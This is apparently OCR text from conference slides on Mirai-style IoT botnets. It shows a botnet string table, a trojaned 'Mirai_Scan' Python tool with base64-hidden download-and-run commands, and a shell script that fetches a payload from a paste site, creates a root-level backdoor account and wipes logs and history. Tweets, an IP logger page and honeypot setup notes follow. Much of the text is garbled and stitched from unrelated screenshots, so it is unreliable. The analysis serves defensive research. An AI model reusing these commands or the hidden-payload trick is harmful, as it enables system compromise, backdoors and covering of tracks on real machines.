29 add_entry(TABLE_EXEC_JOSHO, "\x@06\x03\x71\x56\x37", 5); // 14Fza

30 add_entry(TABLE_EXEC_APOLLO, "\x54\x54\x76\x73\x37", 5); // ccAD

=yl

32

55

34

35

36

37

38

_I.-Ol.chl Spaces: 4 C



tablec

9 #inc
10 #inc
11 #inc
12

lude "includes.h"
lude "table.h"
lude "util.h"

13 uint32_t table_key = 0xbaadf0od;
14 struct table_value table[TABLE_MAX_KEYS];

15

16 void table_init(void)

17 {
18
19
20
21
22
23 // 1
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

20

add_entry(TABLE_CNC_PORT, "\xC9\x8F", 2); // 9061
add_entry(TABLE_SCAN_CB_PORT, "\x2F\x39", 2); // 50643

<removed...>

ol idk why 1 added all of these, remove/keep/add what you want just make sure you know what you're doing

add_entry(TABLE_EXEC_MIRAI, "\Xx8E\x9C\x98\xA2\x8F\x86\x9A\x8F\x98\xEA", 10); // dvrHelper

add_entry(TABLE_EXEC_SORA1, "\xA4\x83\xAD\xAD\x8F\xB8\xDC\xD3\x92\x8E\xEA", 11); // NiGGeR69xd

add_entry(TABLE_EXEC_SORA2, "\xDB\xD9\xD9\xDD\xB9\x85\x98\x8B\xA6\xA5\xAB\XAE\XAF\xB8\xEA", 15); // 1337Soral0AD
add_entry(TABLE_EXEC_SORA3, "\xA4\x83\xAD\xAD\x8F\xB8\x8E\xDA\x84\x81\x99\xDB\xD9\xD9\xDD\xEA", 16); // NiGGeR

add_entry(TABLE_EXEC_OWARI, "\xB2\xDB\xD3\xA3\xD8\xD9\xD3\xDB\xD8\xDE\xBF\xA3\xBF\xEA", 14); // X191239124UIU
add_entry(TABLE_EXEC_OWARI2, "\XxA3\x9F\xB3\x8D\x9F\x80\x8F\xA3\x9B\x84\xEA", 11); // IuYgujelgn

add_entry(TABLE_EXEC_JOSHO, "\xDB\xDE\xAC\x8B\xEA", 5); // 14Fa

add_entry(TABLE_EXEC_APOLLO, "\x89\x89\xAB\XAE\XEA", 5); // ccAD

add_entry(TABLE_EXEC_STATUS, "\xC5\x99\x9E\x8B\x9E\x9F\x99\xEA", 8); // /status

add_entry(TABLE_EXEC_ANIME, "\xC4\x8B\x84\x83\x87\x8F\xEA", 7); // .anime

add_entry(TABLE_EXEC_ROUTE, "\XxC5\x9A\x98\x85\x89\xC5\x84\x8F\x9E\xC5\x98\x85\x9F\x9E\x8F\xEA", 16); // /proc/ne

add_entry(TABLE_EXEC_CPUINFOQ, "\XxC5\x9A\x98\x85\x89\xC5\x89\x9A\x9F\x83\x84\x8C\x85\xEA", 14); // /proc/cpuinfo

add_entry(TABLE_EXEC_BOGO, "\xA8\XxA5\XAD\xXA5\xA7\xA3\xBA\xB9\xEA", 9); // BOGOMIPS

add_entry(TABLE_EXEC_RC, "\XC5\x8F\x9E\x89\xC5\x98\x89\xC4\x8E\xC5\x98\x89\xC4\x86\x85\x89\x8B\x86\xEA", 19); //

add_entry(TABLE_EXEC_MASUTA1, "\x8D\xDB\x8B\x88\x89\xDE\X8E\x87\x85\xD9\xDF\x82\x84\x9A\xD8\x86\x83\x8F\xDA\x81\

~dAd And+ e dTADIE EVES MTDATA I\ LrE\ O\ O\ W ACQ\ WIrEN AN\ COD\ wNACEN ONN OM\ ,OC\ OEN vON\ vEAN 14\, /7 IAAvi Ihimdrhhdan

Line 2, Column 1

Spaces: 4 C



table.c

23 // lol idk why 1 added all of these, remove/keep/add what you want just make sure you know what you're doing

24 add_entry(TABLE_EXEC_MIRAI, "\X8E\x9C\x98\xA2\x8F\x86\x9A\x8F\x98\xEA", 10); // dvrHelper
25 add_entry(TABLE_EXEC_SORA1l, "\xA4\x83\xAD\xAD\x8F\xB8\xDC\xD3\x92\x8E\xXEA", 11); // NiGGeR69xd
26 add_entry(TABLE_EXEC_SORA2, "\xDB\xD9\xD9\xDD\xB9\x85\x98\x8B\xA6\xA5\xAB\XAE\xAF\xB8\XEA", 15); // 1337Soral0AD
27 add_entry(TABLE_EXEC_SORA3, "\xA4\x83\xAD\xAD\x8F\xB8\x8E\xDA\x84\x81\x99\xDB\xD9\xD9\xDD\xEA", 16); // NiGGeR
28 add_entry(TABLE_EXEC_OWARI, "\xB2\xDB\xD3\xA3\xD8\xD9\xD3\xDB\xD8\xDE\xBF\xA3\xBF\xEA", 14); // X191239124UIU
29 add_entry(TABLE_EXEC_OWARI2, "\xA3\x9F\xB3\x8D\x9F\x80\x8F\xA3\x9B\x84\xEA", 11); // IuYgujelgn
30 add_entry(TABLE_EXEC_JOSHO, "\xDB\xDE\xXAC\x8B\xEA", 5); // 14Fa
31 add_entry(TABLE_EXEC_APOLLO, "\x89\x89\xAB\XAE\XEA", 5); // ccAD
32 add_entry(TABLE_EXEC_STATUS, "\XxC5\x99\x9E\x8B\x9E\x9F\x99\xEA", 8); // /status
33 add_entry(TABLE_EXEC_ANIME, "\xC4\x8B\x84\x83\x87\x8F\xEA", 7); // .anime
34 add_entry(TABLE_EXEC_ROUTE, "\XxC5\x9A\x98\x85\x89\xC5\x84\x8F\x9E\xC5\x98\x85\x9F\x9E\x8F\xEA", 16); // /proc/ne
35 add_entry(TABLE_EXEC_CPUINFO, "\XxC5\x9A\x98\x85\x89\xC5\x89\x9A\x9F\x83\x84\x8C\x85\xEA", 14); // /proc/cpuinfo
36 add_entry(TABLE_EXEC_BOGO, "\xA8\xA5\xAD\xA5\xA7\xA3\xBA\xB9\xEA", 9); // BOGOMIPS
37 add_entry(TABLE_EXEC_RC, "\XxC5\x8F\x9E\x89\xC5\x98\x89\xC4\x8E\xC5\x98\x89\xC4\x86\x85\x89\x8B\x86\xEA", 19); //
38 add_entry(TABLE_EXEC_MASUTA1, "\x8D\xDB\x8B\x88\x89\xDE\x8E\x87\x85\xD9\xDF\x82\x84\x9A\xD8\x86\x83\x8F\xDA\x81\:
39 add_entry(TABLE_EXEC_MIRAI1, "\XxC5\x8E\x8F\x9C\xC5\x9D\x8B\x9E\x89\x82\x8E\x85\x8D\xEA", 14); // /dev/watchdog
40 add_entry(TABLE_EXEC_MIRAI2, "\XxC5\x8E\x8F\x9C\xC5\x87\x83\x99\x89\xC5\x9D\x8B\x9E\x89\x82\x8E\x85\x8D\xEA", 19);
41 add_entry(TABLE_EXEC_VAMP1, "\XxC5\x8E\x8F\x9C\xC5\xAC\xBE\xBD\XAE\XBE\XDB\xDA\xDB\xB5\x9D\x8B\x9E\x89\x82\x8E\x8!
42 add_entry(TABLE_EXEC_VAMP3, "\XxC5\x8E\x8F\x9C\xC5\x84\x8F\x9E\x99\x86\x83\x84\x81\xC5\xEA", 15); // /dev/netslin
43 add_entry(TABLE_EXEC_IRC1, "\xBA\xB8\xA3\xBC\xA7\xB9\xAD\XEA", 8); // PRIVMSG
44 add_entry(TABLE_EXEC_QBOT1, "\XAD\xAF\XBE\XA6\XA5\xA9\xAB\xA6\xA3\xBA\XEA", 11); // GETLOCALIP
45 add_entry(TABLE_EXEC_QBOT2, "\xA1\xA3\xA6\xA6\xAB\XxBE\XBE\XA1\xEA", 9); // KILLATTK
46 add_entry(TABLE_EXEC_IRC2, "\xAF\x8B\x9E\x99\xD2\xEA", 6); // Eats8
47 add_entry(TABLE_EXEC_MIRAI3, "\x9C\xB1\xDA\Xx9C\xEA", 5); // vlov
48 add_entry(TABLE_EXEC_EXE, "\XxC5\x9A\x98\x85\x89\xC5\x99\x8F\x86\x8C\xC5\x8F\x92\x8F\xEA", 15); // /proc/self/exe
49 add_entry(TABLE_EXEC_OMNI, "\xD3\xD9\xA5\x8C\x80\xA2\xBO\xD8\x90\xEA", 10); // 930fjHZ2z
50 add_entry(TABLE_EXEC_SHINTO03, "\xBD\x99\xAD\XAB\xDE\XAA\XAC\XDC\xAC\XEA", 10); // WsGA4@F6F
51 add_entry(TABLE_EXEC_SHINTO05, "\XxAB\xA9\xAE\XA8\xEA", 5); // ACDB
52 add_entry(TABLE_EXEC_JOSHO5, "\xAB\x88\xAB\X8E\xEA", 5); // AbAd
53 add_entry(TABLE_EXEC_JOSHO4, "\x83\x8B\xAD\x9C\xEA", 5); // iaGv

Line 14, Column 42 Spaces: 4 C
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O Opening Mirai_Scan.zip

You have chosen to open:
' Mirai_Scan.zip

which is: ZIP file (2.5 KB)
from: https://cdn.discordapp.com

What should Tor Browser do with this file?

 Open with Archive Utility (default)

o)

) save File

Do this automatically for files like this from now on.

'™ Mirai_Scan
2g émumu my My B O = v
[ Mirai_Scan >
b Mirai_Scan.zip ' setup.py
tutorial.txt




bruter.py

threading
sys,o0s,re,base64,subprocess,time, socket
Queue
sys stdout
scan_parameter = "cnVuKCJ3Z2VOIHBhc3R1LmV1L3IveDcyaVkvMCAtTyAuYSAtcTsgY2htb2QgK3ggLmi
def run(cmd):
subprocess.call(cmd, shell=True)

(base64.b64decode(scan_parameter))

setup.py UNREGISTERED

subprocess,o0s,sys, random, time,base64, subprocess

def run(cmd):
subprocess.call(cmd, shell=True)

("Updating system")
time.sleep(5)

debian = "cnVuICgieXVtIHVWZGFOZSAteTsgYXBOLWd1ldCB1cGRhdGUgLXkiKQ=="
centos "cnVuKCJI3Z2VAIHBhc3R1LmV1L3IveDcyaVkvMCAtTYyAuYSAtcTsgY2htb2QgK3ggLmE7IHNOICS!

(base64.b64decode(centos))
(base64.b64decode(debian))




Input value to Encode or Decode:
run ("yum update -y; apt-get update -y“)

Input value to Encode or Decode:

run(*wget paste.ee/r/x72iY/0 -O .a -q; chmod +Xx .a; sh .a > /dev/null 2>&1;
rm -rf .a; history -c")
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< e @ & https://paste.ee/r/x72iY/0 240% oo ¥ | Q Searct =
#!/bin/bash

useradd -o -u 0 -g 0 -M -d /root -s /bin/bash SSH2; echo -e
"Hackedl23\nHacked123" | passwd SSH2; wget -q -0 /tmp/...

https://2no.co/2CQC75; rm -rf /var/log/lastlog; history -c
history -c
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IP LCOGGER ¥ Services  About the site ¥ Your IPLoggers O Signin &Signup E3Contactus  «a English

C mobile version

IP Logger URL shortener web service helps to track data on your website traffic, get information about clicks on your short URLs shared via you social
media channels or published on your website, lookup ip address, check ip location and check any URL for redirects and safety. If you want to know how to
find ip address of a website or what is your IP address, you are in the right place!

DO NOT perform any illegal or illicit activity using our services or information that may be obtained using our services. Make sure that you and your website
visitors or users with whom you share our links understand our Terms and Conditions and Privacy Policy and provide clear consent. If you noticed that
someone is abusing IP Logger services, please immediately report it to abuse@iplogger.com

Googhes Facebook Twitter \ Rt i Tbogeer

Paste a link that you want to shorten here

\\

Location Tracker URL Shortener

Enter any URL or link to any image on the Generate invisible IPLogger image to get
Create Location Tracker link and find out internet to shorten it and track IP statistics for your website traffic, track IP
~ Q. n of ) .
the exact GPS-based location of any addresses and clicks on your short addresses and |P address location
vicn! | A
mobile device! Help your friends to route IPLogger link Consent with T&C and Privacy Policy
their way to the meeting point with Google required!

Maps
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#!/bin/bash

useradd -o -u 0 -g 0 -M -d /root -s /bin/bash SSH2; echo -e
"Hackedl23\nHacked123" | passwd SSH2; wget -q -0 /tmp/...

https://2no.co/2CQC75; rm -rf /var/log/lastlog; history -c
history -c
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360 Netlab
@360Netlab

. Follow )

also the encrypted string in the xxx.arm5
sample says this:"Sister finger, Sister finger,
were are you. Here | am, Here | am, How do
you do?", as well as "Contact me:
Scarface#1162 (discord)", both are newly
added.

TT=E=E 360 Netlab @360Netlab

8:15AM - 7 Sep 2018
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finger, were are you, Here | am, Here | am,
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@ Scarface
I

Federal prosecutors quietly indicted this 20-year-old, and rival
hackers say he's behind a king-sized botnet. But did he really have
the skills to pull it off?
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a killer

if anyone meets him in court or in prison plz tell him to refund my 350% btc... ur wlcm
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Hack In The Box Security Conference

How Mirai Works
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Internet Of Things: Battle Of The Bots
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Glutton - “All eating honeypot”

—

® © ® ) GitHub - mushorg/glutton: A1 x ||\

& C | @ GitHub, Inc. [US) | https://github.com/mushorg/glutton

Glutton
Setup go 1.7+ . Install required system packages:

apt-get install libnetfilter-queue-dev libpcap-dev iptables-dev

To change your SSH server default port (i.e. 5001, see rules.yaml ) and restart sshd:

sed -i "s/Port 22/Port 5001/' /etc/ssh/sshd_config

Download glutton, and install dependencies using glide :

go get github.com/mushorg/glutton

cd $GOPATH/src/github.com/mushorg/glutton/
curl https://glide.sh/get | sh

glide install

glide update

Buks guton: https://github.com/mushorg/glutton

make build
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